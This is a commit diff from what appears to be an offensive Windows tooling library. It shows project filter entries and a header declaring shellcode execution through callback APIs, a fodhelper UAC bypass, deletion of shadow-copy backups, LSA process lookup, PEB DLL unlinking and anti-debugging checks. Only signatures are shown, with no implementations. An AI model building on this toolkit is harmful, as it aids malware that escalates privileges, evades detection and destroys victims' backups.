<ClCompile Include="GetPidFromPidBruteForcingEx.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Fingerprinting</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaCertEnumSystemStore.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CreateThreadAndWaitForCompletion.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Helper Functions</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaCDefFolderMenu_Create2.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaCertEnumSystemStoreLocation.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaCertFindChainInStore.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaEnumChildWindows.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaEnumDateFormatsW.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaEnumDesktopWindows.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaEnumDesktopsW.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecViaEnumDirTreeW.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MpfGetLsaPidFromNamedPipe.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellcodeExecutionViaFunctionCallbackMain.cpp">
|
||||
<Filter>Source Files\Windows API Helper Functions\Malicious Capabilities</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Internal.h">
|
||||
|
||||
+56
-17
@@ -25,15 +25,35 @@
|
||||
Sei.Payload = Shellcode;
|
||||
Sei.dwLengthOfPayloadInBytes = 280 //whatever the length is
|
||||
|
||||
MethodEnum flag must be one of the values in the SHELLCODE_EXECUTION_METHOD enum
|
||||
each enum indicates which win32 function to use for shellcode execution
|
||||
|
||||
*/
|
||||
|
||||
typedef enum SHELLCODE_EXECUTION_METHOD {
|
||||
E_CDEFFOLDERMENU_CREATE2 = 1,
|
||||
E_CERTENUMSYSTEMSTORE, //2
|
||||
E_CERTENUMSYSTEMSTORELOCATION, //3
|
||||
E_CERTFINDCHAININSTORE, //4 NOT IMPLEMENTED!
|
||||
E_ENUMCHILDWINDOWS, //5
|
||||
E_ENUMDATEFORMATSW, //6
|
||||
E_ENUMDESKTOPWINDOWS, //7
|
||||
E_ENUMDESKTOPSW, //8
|
||||
E_ENUMDIRTREEW, //9
|
||||
E_ENUMDISPLAYMONITORS, //10
|
||||
E_ENUMFONTFAMILIESEXW //11
|
||||
}SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD;
|
||||
typedef struct __SHELLCODE_EXECUTION_INFORMATION {
|
||||
LPBYTE Payload;
|
||||
DWORD dwLengthOfPayloadInBytes;
|
||||
DWORD MethodEnum;
|
||||
}SHELLCODE_EXECUTION_INFORMATION, * PSHELLCODE_EXECUTION_INFORMATION;
|
||||
|
||||
|
||||
|
||||
//error handling
|
||||
/*******************************************
|
||||
ERROR HANDLING
|
||||
*******************************************/
|
||||
DWORD GetLastErrorFromTeb(VOID);
|
||||
NTSTATUS GetLastNtStatusFromTeb(VOID);
|
||||
VOID SetLastErrorInTeb(_In_ DWORD ErrorCode);
|
||||
@@ -41,7 +61,11 @@ VOID SetLastNtStatusInTeb(_In_ NTSTATUS Status);
|
||||
DWORD Win32FromHResult(_In_ HRESULT Result);
|
||||
DWORD RtlNtStatusToDosErrorViaImport(_In_ NTSTATUS Status);
|
||||
|
||||
//cryptography related
|
||||
|
||||
|
||||
/*******************************************
|
||||
CRYPTOGRAPHY RELATED
|
||||
*******************************************/
|
||||
DWORD HashStringDjb2A(_In_ PCHAR String);
|
||||
DWORD HashStringDjb2W(_In_ PWCHAR String);
|
||||
ULONG HashStringFowlerNollVoVariant1aA(_In_ PCHAR String);
|
||||
@@ -67,7 +91,10 @@ BOOL HashFileByMsiFileHashTableW(_In_ PWCHAR Path, _Inout_ PULONG FileHash);
|
||||
BOOL HashFileByMsiFileHashTableA(_In_ PCHAR Path, _Inout_ PULONG FileHash);
|
||||
|
||||
|
||||
//library loading
|
||||
|
||||
/*******************************************
|
||||
LIBRARY LOADING
|
||||
*******************************************/
|
||||
PTEB GetTeb(VOID);
|
||||
PPEB GetPeb(VOID);
|
||||
PPEB GetPebFromTeb(VOID);
|
||||
@@ -87,7 +114,11 @@ BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS*
|
||||
HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName);
|
||||
HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName);
|
||||
|
||||
//helper functions
|
||||
|
||||
|
||||
/*******************************************
|
||||
HELPER FUNCTIONS
|
||||
*******************************************/
|
||||
BOOL IsPathValidA(_In_ PCHAR FilePath);
|
||||
BOOL IsPathValidW(_In_ PWCHAR FilePath);
|
||||
BOOL CreateLocalAppDataObjectPathW(_Inout_ PWCHAR pBuffer, _In_ PWCHAR Path, _In_ DWORD Size, _In_ BOOL bDoesObjectExist);
|
||||
@@ -123,7 +154,11 @@ HMODULE TryLoadDllMultiMethodW(_In_ PWCHAR DllName);
|
||||
HMODULE TryLoadDllMultiMethodA(_In_ PCHAR DllName);
|
||||
DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds);
|
||||
|
||||
//fingerprinting
|
||||
|
||||
|
||||
/*******************************************
|
||||
FINGERPRINTING
|
||||
*******************************************/
|
||||
LCID GetCurrentLocaleFromTeb(VOID);
|
||||
DWORD GetNumberOfLinkedDlls(VOID);
|
||||
BOOL IsNvidiaGraphicsCardPresentA(VOID);
|
||||
@@ -150,7 +185,11 @@ DWORD GetPidFromNtQueryFileInformationA(_In_ PCHAR FullBinaryPath);
|
||||
DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension);
|
||||
DWORD GetPidFromPidBruteForcingExA(_In_ PCHAR ProcessNameWithExtension);
|
||||
|
||||
//malicious capabilities
|
||||
|
||||
|
||||
/*******************************************
|
||||
MALICIOUS CAPABILITIES
|
||||
*******************************************/
|
||||
DWORD OleGetClipboardDataA(_Inout_ PCHAR Buffer);
|
||||
DWORD OleGetClipboardDataW(_Inout_ PWCHAR Buffer);
|
||||
DWORD MpfComVssDeleteShadowVolumeBackups(_In_ BOOL CoUninitializeAfterCompletion);
|
||||
@@ -160,18 +199,14 @@ BOOL UacBypassFodHelperMethodA(_In_ PCHAR PathToBinaryToExecute, _Inout_ PPROCES
|
||||
BOOL UacBypassFodHelperMethodW(_In_ PWCHAR PathToBinaryToExecute, _Inout_ PPROCESS_INFORMATION Pi);
|
||||
DWORD MpfGetLsaPidFromRegistry(VOID);
|
||||
DWORD MpfGetLsaPidFromServiceManager(VOID);
|
||||
BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
DWORD MpfGetLsaPidFromNamedPipe(VOID);
|
||||
BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
|
||||
|
||||
//evasion
|
||||
|
||||
|
||||
/*******************************************
|
||||
EVASION
|
||||
*******************************************/
|
||||
BOOL CreateProcessWithCfGuardW(_Inout_ PPROCESS_INFORMATION Pi, _In_ PWCHAR Path);
|
||||
BOOL CreateProcessWithCfGuardA(_Inout_ PPROCESS_INFORMATION Pi, _In_ PCHAR Path);
|
||||
HRESULT CreateProcessFromIHxInteractiveUserW(_In_ PWCHAR UriFile);
|
||||
@@ -191,7 +226,11 @@ DWORD CreateProcessViaNtCreateUserProcessA(PCHAR FullBinaryPath);
|
||||
BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName);
|
||||
BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName);
|
||||
|
||||
//antidebug
|
||||
|
||||
|
||||
/*******************************************
|
||||
ANTI-DEBUGGING
|
||||
*******************************************/
|
||||
BOOL AdfCloseHandleOnInvalidAddress(VOID);
|
||||
BOOL AdfIsCreateProcessDebugEventCodeSet(VOID);
|
||||
BOOL AdfOpenProcessOnCsrss(VOID);
|
||||
|
||||
Reference in New Issue
Block a user